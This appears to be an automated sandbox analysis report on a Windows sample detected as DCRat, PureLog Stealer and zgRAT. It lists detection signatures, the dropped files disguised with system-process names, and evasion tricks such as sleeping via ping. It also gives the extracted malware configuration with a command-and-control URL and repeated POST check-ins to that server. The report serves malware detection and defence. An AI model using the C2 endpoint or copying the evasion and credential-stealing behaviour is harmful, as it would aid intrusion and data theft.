Edit tour

Windows Analysis Report
DWTukBG9R7.exe

Overview

General Information

Sample name:	DWTukBG9R7.exe renamed because original name is a hash value
Original sample name:	15536627ef85575e9dfa2f91d54b24dd.exe
Analysis ID:	1576010
MD5:	15536627ef85575e9dfa2f91d54b24dd
SHA1:	2c498ffe7cb1a53cce6155ac50b19b2a1b437b2d
SHA256:	7c80ac7694d0009df4cb82d8fa843910cf07a53d24916daf5dbb9e09a1512881
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Drops PE files with benign system names

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

DWTukBG9R7.exe (PID: 3396 cmdline: "C:\Users\user\Desktop\DWTukBG9R7.exe" MD5: 15536627EF85575E9DFA2F91D54B24DD)

cmd.exe (PID: 2300 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6408 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 6004 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

jXzXDduVeIqOfFYGnN.exe (PID: 1600 cmdline: "C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe" MD5: 15536627EF85575E9DFA2F91D54B24DD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
DWTukBG9R7.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
DWTukBG9R7.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Recovery\wininit.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\wininit.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3368236613.00000000034CC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000006.00000002.3368236613.00000000031C4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000000.2102608195.0000000000BC2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2152680576.00000000133FF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: DWTukBG9R7.exe PID: 3396	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: jXzXDduVeIqOfFYGnN.exe PID: 1600	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.DWTukBG9R7.exe.bc0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.DWTukBG9R7.exe.bc0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\DWTukBG9R7.exe, ProcessId: 3396, TargetFilename: C:\Program Files (x86)\msecache\OfficeKMS\win8\dwm.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:12:43.854358+0100	2048095	1	A Network Trojan was detected	192.168.2.5	49712	193.124.185.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DWTukBG9R7.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\kRKYWufF.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\TZwLNPIO.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\zCyFubHy.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\cnCjmBPY.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\dzgITJmq.log	Avira: detection malicious, Label: TR/Agent.jbwuj
Source: C:\Users\user\Desktop\haUhPxfM.log	Avira: detection malicious, Label: TR/Agent.jbwuj
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Recovery\wininit.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Found malware configuration

Source: 00000000.00000002.2152680576.00000000133FF000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	ReversingLabs: Detection: 68%
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	ReversingLabs: Detection: 68%
Source: C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe	ReversingLabs: Detection: 68%
Source: C:\Program Files\Windows NT\TableTextService\jXzXDduVeIqOfFYGnN.exe	ReversingLabs: Detection: 68%
Source: C:\Recovery\wininit.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\Desktop\CKvNPuCt.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\EZaEGMWX.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\EpQDWYXm.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\KbadTfuJ.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\LHvTaJQB.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\MbILlBNZ.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\OJhBvsUw.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\TIptzuOL.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\TZwLNPIO.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\VpOjKmVj.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\dzgITJmq.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\haUhPxfM.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\hqWzaFmj.log	ReversingLabs: Detection: 20%
Source: C:\Users\user\Desktop\kRKYWufF.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\vUrgROiK.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\znwnjTAb.log	ReversingLabs: Detection: 25%

Multi AV Scanner detection for submitted file

Source: DWTukBG9R7.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\zCyFubHy.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\cnCjmBPY.log	Joe Sandbox ML: detected
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\vUrgROiK.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\hqWzaFmj.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\LHvTaJQB.log	Joe Sandbox ML: detected
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\KbadTfuJ.log	Joe Sandbox ML: detected
Source: C:\Recovery\wininit.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: DWTukBG9R7.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2152680576.00000000133FF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["XVJOCGmIpvDddKlVxZ4UFV09MGiUbnaf6OCeDj92GkuZJIYt9hO1pcdBeJC5hRrCUihOIHSOZBNflazEryV3Yi0euA93hEUz2rEllJl1P9boO8aDU8Ot5xnwrCdIHZrV","49a7125ac1d045f1a824ed1f4915c775a8bbbc79d977aa8324c4215a30c82283","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJeElpd2lJaXdpWlhsSmQwbHFiMmxsTVU1YVZURlNSbFJWVWxOVFZscEdabE01Vm1NeVZubGplVGhwVEVOSmVFbHFiMmxhYlVaell6SlZhVXhEU1hsSmFtOXBXbTFHYzJNeVZXbE1RMGw2U1dwdmFXUklTakZhVTBselNXcFJhVTlwU2pCamJsWnNTV2wzYVU1VFNUWkpibEo1WkZkVmFVeERTVEpKYW05cFpFaEtNVnBUU1hOSmFtTnBUMmxLYlZsWGVIcGFVMGx6U1dwbmFVOXBTakJqYmxac1NXbDNhVTlUU1RaSmJsSjVaRmRWYVV4RFNYaE5RMGsyU1c1U2VXUlhWV2xNUTBsNFRWTkpOa2x1VW5sa1YxVnBURU5KZUUxcFNUWkpibEo1WkZkVmFVeERTWGhOZVVrMlNXNVNlV1JYVldsTVEwbDRUa05KTmtsdVVubGtWMVZwWmxFOVBTSmQiXQ=="]
Source: 00000000.00000002.2152680576.00000000133FF000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/","VmtoServerLinuxuploads"]]

Source: DWTukBG9R7.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Google\Chrome\Application\SetupMetrics\88d13acbc29308	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Windows NT\TableTextService\jXzXDduVeIqOfFYGnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Windows NT\TableTextService\88d13acbc29308	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Google\88d13acbc29308	Jump to behavior

Source: DWTukBG9R7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh		0_2_00007FF8490CBC0D
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh		6_2_00007FF8490BBC0D

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.5:49712 -> 193.124.185.16:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View

ASN Name: IHOR-ASRU IHOR-ASRU

Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1376Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1092Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1092Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: multipart/form-data; boundary=----cTKXzs3OycE23gGeDVq17cCnhY9di5UkGPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 125298Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1096Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.124.185.16Content-Length: 1812Expect: 100-continueConnection: Keep-Alive
